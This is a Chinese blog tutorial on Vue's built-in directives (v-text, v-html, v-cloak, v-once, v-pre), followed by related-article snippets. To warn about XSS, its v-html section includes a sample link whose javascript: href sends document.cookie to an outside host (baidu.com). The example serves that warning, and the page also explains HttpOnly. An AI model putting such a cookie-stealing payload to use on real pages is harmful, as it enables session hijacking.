当前位置： 首页 > news >正文

Vue基本的内置指令

news 2025/9/14 18:58:42

前言

除了常见的v-bind,v-for,v-if,v-on.v-model等，本次学习一些vue提供的其他内置指令

1 v-text

给标签插入文本，类似于插值语法

它会把全部的字符串当成文本去解析,不会当成标签的,哪怕写的是标签结构

效果和插值语法是一样的

插值语法比v-text更加的灵活，因为插值语法可以作为字符串拼接，但是v-text的值会替换掉整个div里面的值

前面说过，它会把全部的字符串当成文本去解析,不会当成标签的,哪怕写的是标签结构

不能解析标签的，会以正常文本显示

代码如下

<!DOCTYPE html>
<html><head><meta charset="UTF-8"><title>初始vue</title><!-- 引入vue.js --><script type="text/javascript" src="../js/vue.js"></script><!-- 在线引入day.js --><!-- <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.6/dayjs.min.js"></script> --><!--引入day.js --><script src="../js/dayjs.min.js"></script>
</head>
<body><div id="root"><!-- 插值语法实现 --><h2>你好，{{name}}</h2><!-- v-text指令实现 --><h2 v-text="str"></h2></div>
</body> <script type="text/javascript">const vm=  new Vue({el:'#root',data:{name:'vue',str:'<h1>你好！！！</h1>'},})</script></html>

v-text总结

  • v-text指令
  • 1 作用：向其所在的节点渲染文本内容

  • 2 与插值语法的区别：v-text会替换掉节点中的内容，但是插值语法不会，它会进行拼接

2 v-html

和v-text作用以及写法类似，区别在于v-html可以帮助我们解析标签

可以发现，使用v-html可以实现标签解析，但是v-text是不行的，这也就是两者的区别

v-html的安全性问题

在网站上渲染任意HTML是非常危险的，容易导致XSS攻击

众所周知，cookie在网络上相当于个人身份证，我们在很多网站上都有cookie,这些信息是不能泄露的，不然可能导致很严重的问题，我们就以cookie为例子，验证v-html的安全性问题

右键检查或者F12,选择Application.左侧找到Storage->Cookies(既然加了S就说明可能存放的是多个网址的cookie),cookie本质就是键值对的JSON格式数据

首先因为的这个页面没有做登录功能，是没有cookie的，我需要自己仿造，双击即可添加

如图所示，我模拟了一些cookie，我们可以通过命令(document.cookie)查看cookie:

既然知道了这些，那么就可以模拟恶意获取cookie的场景,我这里用的是给一个文字，暗箱跳转到百度，并且把本台服务器的cookie作为参数携带进去，注意：这里这是模仿

点击发现跳到了百度，而且携带了我的cookie，这样是很危险的！

但是一般的网址都会做cookie的安全处理,查看cookie可以看到有一个HttpOnly选型，如果勾选上代表只能通过http协议获取，不能通过dom命令获取

比如我全部勾选

通过dom就什么也获取不到了

在网站上渲染任意HTML是非常危险的，容易导致XSS攻击！这不是vue的锅，只是不建议这么使用

代码如下

<!DOCTYPE html>
<html><head><meta charset="UTF-8"><title>初始vue</title><!-- 引入vue.js --><script type="text/javascript" src="../js/vue.js"></script>
</head>
<body><div id="root"><!-- 插值语法实现 --><h2>你好，{{name}}</h2><!-- v-text指令实现 --><h2 v-text="str"></h2><!-- v-html进行标签解析 --><div v-html="str"></div><div v-html="getCookieUrl"></div></div>
</body> <script type="text/javascript">const vm=  new Vue({el:'#root',data:{name:'vue',str:'<h1>你好！！！</h1>',getCookieUrl:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>你想要的都在这哦~</a>'},})</script></html>

v-html总结

  • v-html指令：
  • 1 作用：与指定节点中渲染包含html结构的内容

  • 2 与插值法与的区别

  •   （1）v-html会替换掉节点的所有的内容，{{XX}}则不会

  •      （2）v-html可以识别html标签(结构)

  •    3 严重注意：v-html有安全性问题

  •   （1）在网站上渲染任意HTML是非常危险的，容易导致XSS攻击

  •   （2） 一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上

3 v-cloak

由于这个不太好演示，这里只做说明不演示了

这个属性只有名字，没有值

 <h2 v-cloak>{{name}}</h2>

它一般配合css控制元素隐藏，等页面全部加载完毕之后，会自动删除v-cloak

v-cloak总结

v-cloak指令

1 它只有名字，没有值

2 本质是一个特殊属性，Vue实例创建完毕并接管容器后，会自动删除c-cloak属性

3 使用css配合v-cloak可以解决网速慢的时候页面展示出{{XXX}}的问题

4 v-once

这个属性和v-cloak一样，也是没值的，只有属性名称

通过案例演示下，让vue保存一个数值n，然后让n展示在页面上

初步测试没问题

接下来新增需求，想再写一个h2标签，展示初始化的n值

随着页面的变化，初始化n的值也进行了变化

v-once显然不符合需求，这时候就需要用到v-once了，再h2标签加入

<h2 v-once>初始化n的值是：{{n}}</h2>

这时候再查看页面，实现需求

  • v-once总结

  • v-once指令：

  • 1 v-once所在节点在初次动态渲染后，就视为静态内容了

  • 2 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能

5 v-pre

  • 这个指令可以让vue跳过其所在节点的编译过程，也就是vue不会再解析写了v-pre 的东西了
  •  可利用它跳过一些代码，没有使用指令语法的节点，没有使用插值语法的节点，会更快的进行编译

相关文章：

Vue基本的内置指令

前言 除了常见的v-bind,v-for,v-if,v-on.v-model等&#xff0c;本次学习一些vue提供的其他内置指令 1 v-text 给标签插入文本&#xff0c;类似于插值语法 它会把全部的字符串当成文本去解析,不会当成标签的,哪怕写的是标签结构 效果和插值语法是一样的 插值语法比v-text更加…...

编程日记 2023/5/29 19:04:10

华为孟晚舟当值首秀：2030年AI算力将增长500倍！

作者 | 范智林 来源 | 华商观察 微信号&#xff1a;HuashangGC 孟晚舟当值首次亮相。 4月19日&#xff0c;华为副董事长、轮值董事长、CFO孟晚舟在华为第20届全球分析师大会上进行演讲&#xff0c;这是她当值华为轮值董事长以来的首次公开亮相。 按照华为内部规定&#xff0c…...

编程日记 2023/5/31 5:22:31

关于python异常的总结

Python异常是在程序执行时发生的错误&#xff0c;可能会导致程序终止运行。 在Python中&#xff0c;异常处理是一种机制&#xff0c;它允许开发人员在程序发生异常时捕获、处理和报告这些异常&#xff0c;以便程序可以继续运行或在出现异常时进行优雅的退出。 在Python中&…...

编程日记 2023/5/3 1:34:18

基于Java+SpringBoot+vue学生学习平台详细设计实现

基于JavaSpringBootvue学生学习平台详细设计实现 博主介绍&#xff1a;5年java开发经验&#xff0c;专注Java开发、定制、远程、指导等,csdn特邀作者、专注于Java技术领域 作者主页 超级帅帅吴 Java项目精品实战案例《500套》 欢迎点赞 收藏 ⭐留言 文末获取源码联系方式 文章目…...

编程日记 2023/5/3 1:29:17

【云原生网关】Kong 使用详解

目录 一、前言 二、Kong介绍 三、Kong核心组件 3.1 kong组件介绍 3.1.1 Kong Server 3.1.2 Apache Cassandra/PostgreSQL 3.1.3 Kong dashboard 3.2 传统网关与Kong工作模式对比 四、Kong网关特征与架构 4.1 kong网关特征 4.1.1 可扩展性 4.1.2 模块化 4.1.3 在任…...

编程日记 2023/5/3 1:24:16

浅谈之Java多线程

Java多线程是Java语言中一个非常重要的特性&#xff0c;它允许程序同时执行多个任务。通过多线程&#xff0c;程序可以同时处理多项任务&#xff0c;从而缩短程序的执行时间。另外&#xff0c;多线程也有助于利用多核处理器&#xff0c;更好地发挥计算机硬件的性能。 那我们在…...

编程日记 2023/5/3 1:19:15

【Vue3学习笔记1】一个清单应用帮你入门Vue.js

Vue 目前已经是国内最流⾏的前端框架之⼀&#xff0c;Vue 3 带来的诸多优化更是让前端圈迎来了新的潮流&#xff0c;比如&#xff1a; 基于 Proxy 的全新响应式实现&#xff1b; Composition API <script setup> 组织代码的更优方式&#xff1b; 更有料的 TypeScript 支…...

编程日记 2023/5/3 1:14:14

go破冰之旅·8·go函数基本实践及各种玩法

一次5-10分钟即可搞定&#xff0c;以干货效率的学习方式带你更直观的玩转各种玩法&#xff01; 行文不易&#xff0c;一字一句纯手打创造&#xff0c;倾注了不少精力&#xff0c;感谢支持。 目录 什么是函数&#xff1f;有哪些元素&#xff1f; 函数参数、返回值 小程序&…...

编程日记 2023/5/3 1:09:13

Qt - 从零到壹的 打地鼠 游戏

❤️‍&#x1f525;欢迎收看西北风的blog&#xff0c;好男人就是我&#xff0c;我就是西北风。✨ Gitee 地址 W_A_Mole NTC_jason/cc语言 - 码云 - 开源中国 (gitee.com) 目录 &#x1f7e5;一&#xff1a;创建一个主窗体 &#x1f7e3;二.&#xff1a;添加主窗口背景图片…...

编程日记 2023/5/31 9:03:56

代码自动发布系统

之前是jenkins发现gitlab代码更新了就自动获取直接部署到服务器 现在是jenkins自动获取Code之后打包成镜像上传到仓库然后通知docker去拉取更新的镜像 分析 旧∶ 代码发布环境提前准备&#xff0c;以主机为颗粒度静态 新: 代码发布环境多套&#xff0c;以容器为颗粒度编译 …...

编程日记 2023/5/3 0:59:10

qemu-基础篇(一)——安装

文章目录 env安装查看版本查看支持的开发板查看支持的CPU的型号 env ubuntu 安装 sudo apt-get install qemu sudo apt-get install qemu-system-arm sudo apt-get install qemu-system查看版本 qemu-img -V qemu-system-arm --version qemu-system-aarch64 --version返回结…...

编程日记 2023/5/3 0:54:09

从根本上理解Synchronized的加锁过程

作为一个Java开发&#xff0c;对于Synchronized这个关键字并不会陌生&#xff0c;无论是并发编程&#xff0c;还是与面试官对线&#xff0c;Synchronized可以说是必不可少。 在JDK1.6之前&#xff0c;都认为Synchronized是一个非常笨重的锁&#xff0c;就是在之前的《谈谈Java…...

编程日记 2023/5/3 0:49:07

CANOE入门到精通——CANOE系列教程记录1 第一个仿真工程

本系列以初学者角度记录学习CANOE&#xff0c;以《CANoe开发从入门到精通》参考学习&#xff0c;CANoe16 demo版就可以进行学习 概念 CANoe是一种用于开发、测试和分析汽车电子系统的软件工具。它通过在不同层次上模拟汽车电子系统中的不同部件&#xff0c;如ECU、总线和传感…...

编程日记 2023/5/3 0:44:06

JavaEE——单例模式

文章目录 一、介绍什么是单例模式二、饿汉模式三、懒汉模式四、讨论两种模式的线程安全问题 一、介绍什么是单例模式 在介绍单例模式之前&#xff0c;我们得先明确一个名词设计模式。 所谓设计模式其实不难理解&#xff0c;就是在计算机这个圈子中&#xff0c;呢些大佬们为了…...

编程日记 2023/5/3 0:39:05

关于数据倾斜

1、数据倾斜表现 1.1 hadoop中的数据倾斜表现 有一个多几个Reduce卡住&#xff0c;卡在99.99%&#xff0c;一直不能结束。各种container报错OOM异常的Reducer读写的数据量极大&#xff0c;至少远远超过其它正常的Reducer伴随着数据倾斜&#xff0c;会出现任务被kill等各种诡异…...

编程日记 2023/5/3 0:34:04

Shell第一次作业

要求&#xff1a; 1、判断当前磁盘剩余空间是否有20G&#xff0c;如果小于20G&#xff0c;则将报警邮件发送给管理员&#xff0c;每天检查一次磁盘剩余空间。 ​2、判断web服务是否运行&#xff08;1、查看进程的方式判断该程序是否运行&#xff0c;2、通过查看端口的方式判断…...

编程日记 2023/5/3 0:29:03

实例解读nn.AdaptiveAvgPool2d((1, 1))

nn.AdaptiveAvgPool2d((1, 1))在PyTorch中创建一个AdaptiveAvgPool2d类的实例。该类在输入张量上执行2D自适应平均池化。 自适应平均池化是一种池化操作&#xff0c;它计算每个输入子区域的平均值并产生一个指定大小的输出张量。子区域的大小是根据输入张量的大小和输出张量的…...

编程日记 2023/5/3 0:24:02

泛型编程 之模板（template）

C另一种编程思想称为 泛型编程&#xff0c;主要利用的技术就是模板 目录 C另一种编程思想称为 泛型编程&#xff0c;主要利用的技术就是模板 一、概念 二、函数模板 1、语法与使用&#xff1a; 2、函数模板注意事项 3、普通函数与函数模板的区别 4、普通函数与函数模板的调用规…...

编程日记 2023/5/3 0:19:01

用ChatGPT问DotNet的相关问题，发现DotNet工程师的前景还不错

本人最近费了九牛二虎之力注册了一个ChatGPT账号&#xff0c;现在就给大家分享一下&#xff0c;问一下关于.NET的问题&#xff0c;看看ChatGPT的AI功能具体如何&#xff1f; 一、C#跟其它语言比较的优势 回答&#xff1a; C#是一门编程语言&#xff0c;它是为 Microsoft 的 …...

编程日记 2023/5/3 0:14:00

LeetCode_字符串_简单_415.字符串相加

目录 1.题目2.思路3.代码实现&#xff08;Java&#xff09; 1.题目 给定两个字符串形式的非负整数 num1 和num2&#xff0c;计算它们的和并同样以字符串形式返回。 你不能使用任何內建的用于处理大整数的库&#xff08;比如 BigInteger&#xff09;&#xff0c; 也不能直接将…...

编程日记 2023/5/30 4:47:33

Docker 离线安装指南

参考文章 1、确认操作系统类型及内核版本 Docker依赖于Linux内核的一些特性&#xff0c;不同版本的Docker对内核版本有不同要求。例如&#xff0c;Docker 17.06及之后的版本通常需要Linux内核3.10及以上版本&#xff0c;Docker17.09及更高版本对应Linux内核4.9.x及更高版本。…...

编程新知 2025/9/14 3:25:53

FFmpeg 低延迟同屏方案

引言 在实时互动需求激增的当下&#xff0c;无论是在线教育中的师生同屏演示、远程办公的屏幕共享协作&#xff0c;还是游戏直播的画面实时传输&#xff0c;低延迟同屏已成为保障用户体验的核心指标。FFmpeg 作为一款功能强大的多媒体框架&#xff0c;凭借其灵活的编解码、数据…...

编程新知 2025/6/21 15:38:27

UDP(Echoserver)

网络命令 Ping 命令 检测网络是否连通 使用方法: ping -c 次数 网址ping -c 3 www.baidu.comnetstat 命令 netstat 是一个用来查看网络状态的重要工具. 语法&#xff1a;netstat [选项] 功能&#xff1a;查看网络状态 常用选项&#xff1a; n 拒绝显示别名&#…...

编程新知 2025/9/9 14:51:30

Cloudflare 从 Nginx 到 Pingora：性能、效率与安全的全面升级

在互联网的快速发展中&#xff0c;高性能、高效率和高安全性的网络服务成为了各大互联网基础设施提供商的核心追求。Cloudflare 作为全球领先的互联网安全和基础设施公司&#xff0c;近期做出了一个重大技术决策&#xff1a;弃用长期使用的 Nginx&#xff0c;转而采用其内部开发…...

编程新知 2025/8/29 10:31:59

ServerTrust 并非唯一

NSURLAuthenticationMethodServerTrust 只是 authenticationMethod 的冰山一角 要理解 NSURLAuthenticationMethodServerTrust, 首先要明白它只是 authenticationMethod 的选项之一, 并非唯一 1 先厘清概念 点说明authenticationMethodURLAuthenticationChallenge.protectionS…...

编程新知 2025/9/10 3:47:50

JUC笔记(上)-复习 涉及死锁 volatile synchronized CAS 原子操作

一、上下文切换 即使单核CPU也可以进行多线程执行代码&#xff0c;CPU会给每个线程分配CPU时间片来实现这个机制。时间片非常短&#xff0c;所以CPU会不断地切换线程执行&#xff0c;从而让我们感觉多个线程是同时执行的。时间片一般是十几毫秒(ms)。通过时间片分配算法执行。…...

编程新知 2025/8/22 3:28:52

【HarmonyOS 5 开发速记】如何获取用户信息（头像/昵称/手机号）

1.获取 authorizationCode&#xff1a; 2.利用 authorizationCode 获取 accessToken&#xff1a;文档中心 3.获取手机&#xff1a;文档中心 4.获取昵称头像&#xff1a;文档中心 首先创建 request 若要获取手机号&#xff0c;scope必填 phone&#xff0c;permissions 必填 …...

编程新知 2025/9/14 12:10:01

2025季度云服务器排行榜

在全球云服务器市场&#xff0c;各厂商的排名和地位并非一成不变&#xff0c;而是由其独特的优势、战略布局和市场适应性共同决定的。以下是根据2025年市场趋势&#xff0c;对主要云服务器厂商在排行榜中占据重要位置的原因和优势进行深度分析&#xff1a; 一、全球“三巨头”…...

编程新知 2025/9/13 17:37:57

Java毕业设计：WML信息查询与后端信息发布系统开发

JAVAWML信息查询与后端信息发布系统实现 一、系统概述 本系统基于Java和WML(无线标记语言)技术开发&#xff0c;实现了移动设备上的信息查询与后端信息发布功能。系统采用B/S架构&#xff0c;服务器端使用Java Servlet处理请求&#xff0c;数据库采用MySQL存储信息&#xff0…...

编程新知 2025/7/28 0:01:58

C++ 设计模式 《小明的奶茶加料风波》

&#x1f468;‍&#x1f393; 模式名称&#xff1a;装饰器模式&#xff08;Decorator Pattern&#xff09; &#x1f466; 小明最近上线了校园奶茶配送功能&#xff0c;业务火爆&#xff0c;大家都在加料&#xff1a; 有的同学要加波霸 &#x1f7e4;&#xff0c;有的要加椰果…...

编程新知 2025/9/1 17:56:35